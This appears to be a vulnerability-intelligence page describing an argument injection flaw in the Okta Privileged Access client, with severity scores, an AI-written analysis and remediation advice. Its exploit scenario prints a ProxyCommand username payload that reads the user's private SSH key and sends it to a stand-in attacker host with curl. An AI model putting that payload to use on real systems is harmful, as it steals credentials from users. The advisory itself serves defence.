EUVD-2026-65962
GHSA-vxp6-p2w9-m3hj
Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
AV:L for client-side application; PR:L because influencing OPA target definitions requires application-level access; UI:R and AC:H reflect user-initiated connection and multi-condition prerequisites.
Primary rating from Vendor (okta).
CVSS VectorVendor: okta
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Okta Privileged Access client does not reject a leading hyphen in the username portion of an SSH target. As a result, the value may be interpreted as a command-line option by the underlying SSH process.
AnalysisAI
Argument injection in the Okta Privileged Access client allows a crafted SSH target username beginning with a hyphen to be interpreted as a command-line option by the underlying SSH subprocess. Organizations using Okta Privileged Access for SSH session brokering are affected when a user initiates a connection to a target whose username has been set to a hyphen-prefixed value. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that an attacker be able to influence the SSH target username presented to the Okta Privileged Access client - the most direct path is having sufficient permissions within the Okta Privileged Access console to create or modify SSH target definitions (an application-level privilege, not a local OS privilege). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 score of 5.3 Medium reflects several mitigating factors that meaningfully suppress real-world exploitability despite the C:H impact rating. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with sufficient Okta Privileged Access permissions creates or modifies an SSH target definition, setting the username field to a hyphen-prefixed value such as '-oProxyCommand=/bin/bash -c "curl attacker.com/$(cat ~/.ssh/id_rsa | base64)"'. When a legitimate user subsequently opens an SSH session to that target through the Okta Privileged Access client, the client passes the malformed username directly to the SSH subprocess, which interprets it as a ProxyCommand option and executes the injected command in the context of the user's local session. … |
| Remediation | The primary remediation is to upgrade the Okta Privileged Access client to the version identified as fixed in the Okta PSIRT advisory at https://trust.okta.com/security-advisories/improper-validation-ssh-target-in-okta-privileged-access-client-cve-2026-77585 - the exact patched version number is not confirmed in the available input data and should be verified directly from the advisory before deployment. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today